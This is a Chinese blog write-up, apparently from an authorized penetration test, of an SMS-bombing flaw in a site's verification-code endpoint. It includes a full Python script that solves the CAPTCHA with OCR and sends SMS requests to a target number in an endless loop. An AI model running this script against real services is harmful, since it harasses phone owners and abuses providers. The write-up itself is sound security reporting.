当前位置: 首页 > news >正文

记一次短信轰炸漏洞 | 添柴不加火

声明

本次渗透测试已获得合法授权,本文仅用于网络安全技术学习与交流。严禁任何个人或组织将内容用于非法用途,由此产生的一切违法违规行为及后果,均与作者无关。
本文首发于微信公众号“希泽Sec”

前言

近期对多个漏洞进行了安全测试,仅该漏洞便于脱敏处理,特此先行记录。

整体思路

初始对目标系统进行访问,先排查未授权访问风险,过程中发现系统登录/注册页面。随后测试短信验证码接口是否存在轰炸漏洞,实测发现:成功发送一条验证码后,刷新当前页面即可绕过 60 秒发送间隔限制,可重复发起验证码请求。由此判断后端未做短信发送频率限制,该漏洞存在。

渗透测试

目标系统登录/注册页面如下:
1

刚开始用bp的验证码识别插件进行识别验证码,对同一个手机号多次请求,发现并不能成功发送验证码,多次测试发现好像是burp每次请求不能突破 60 秒发送的间隔限制。就想着用python脚本模拟人工请求,再根据此系统导入验证码识别模块,编写脚本。脚本如下:

点击查看代码
import requests
import base64
import ddddocr
import time# 初始化 OCR
ocr = ddddocr.DdddOcr(show_ad=False)
session = requests.Session()# 配置信息
# ====================================================
CONFIG = {"target_mobile": "",  # 测试手机号"url_image": "",  # 图形验证码接口"url_send": "",   # 发送接口"delay": 1,  # 每次成功发送后的间隔时间(秒)
}HEADERS = {}
# ====================================================def exploit():count = 0print(f"开始测试短信轰炸漏洞,目标:{CONFIG['target_mobile']}")while True:try:# 1. 获取图形验证码resp_img = session.get(CONFIG['url_image'], headers=HEADERS, timeout=10)img_json = resp_img.json()k = img_json['data']['key']b64 = img_json['data']['base64'].split(',')[-1]# 2. 识别验证码code = ocr.classification(base64.b64decode(b64))# 3. 尝试发送短信payload = {"form": {"captchaKey": k,"captchaCode": code,"mobile": CONFIG['target_mobile']}}resp_send = session.post(CONFIG['url_send'], headers=HEADERS, json=payload, timeout=10)res_data = resp_send.json()msg = res_data.get("msg") or res_data.get("message") or ""# 4. 根据结果判断状态if "正确" in msg or "错误" in msg:# 验证码识别错误,不计数,立即重试continuecount += 1print(f"[{count}] 状态: {res_data}")# 如果返回“发送成功”,则继续下一轮;# 如果返回“操作频繁”,说明存在服务端限流,漏洞可能不存在或已被拦截if "频繁" in msg or "上限" in msg:print("触发频率限制,测试停止或需更换策略。")# break # 如果想看到限流就停止,取消注释这行time.sleep(CONFIG['delay'])except KeyboardInterrupt:print("\n程序由用户停止。")breakexcept Exception as e:print(f"发生异常: {e}")time.sleep(2)if __name__ == "__main__":exploit()

接下来进行短信轰炸,配置好必要信息,运行脚本,发现可以对任意手机号进行轰炸。
2
微信图片_20260405184649_494_19
微信图片_20260405184650_495_19

http://www.jsqmd.com/news/593389/

相关文章:

  • 别再只用RL模型了!手把手教你为DCDC VRM搭建更准的行为模型(附ADS仿真文件)
  • 保姆级教程:Halcon中affine_trans_image算子的5个高效使用技巧与代码模板
  • 失业期PHP程序员极致利用时间的庖丁解
  • LeetCode 701. Insert into a Binary Search Tree 题解
  • Windows家庭版开启原生远程桌面
  • 【物联网】基于STM32F429与TMS320F28377的储能变流器控制软件架构设计
  • LeetCode 450. Delete Node in a BST 题解
  • GiD 从入门到精通:几何建模与网格划分实战指南
  • 失业期PHP程序员玻璃心,伪勤奋,固守旧认知的庖丁解牛
  • Halcon局部可变形匹配实战:用‘垫片’案例手把手教你搞定弹性物体定位与缺陷检测
  • 原来不是只有X86和macOS能安装OpenClaw,ARM小盒子居然也能吃上
  • 手把手教你用JoyAgent-JDGenie搭建自己的第一个AI智能体(附天气查询Agent代码)
  • 人生苦难的本质的庖丁解牛
  • LeetCode 530. Minimum Absolute Difference in BST 题解
  • 2025届最火的十大降重复率助手推荐
  • N1盒子刷OpenWRT软路由全流程:从降级到内网穿透,小白也能轻松搞定
  • PX4开发实战:uORB通信机制详解与代码实操(附避坑指南)
  • 2026最权威的五大降重复率网站横评
  • 从Google Spanner到阿里OceanBase:拆解Paxos在万亿级数据库中的实战配置与调优
  • 《碳硅“虫洞”解:跨认知区域的可穿越通道》(修订版)
  • 快马平台十分钟速建:基于gstack的现代博客原型开发全指南
  • ParseDXF 功能说明文档
  • 光芯片技术突破与AI算力应用解析
  • 告别subfloat!LaTeX中minipage+subfigure排版多图的最佳实践
  • Python 中的日志系统:从基础到高级应用
  • 基于SVC和PSS的电力系统暂态稳定性研究:Matlab/Simulink仿真与结果分析
  • 实战应用:基于快马平台构建带版本管理与评论系统的软件下载站
  • 异地多活架构
  • LeetCode 653. Two Sum IV - Input is a BST 题解
  • 模糊PID控制主动悬架模型:基于2自由度1/4模型的效果对比与Matlab实现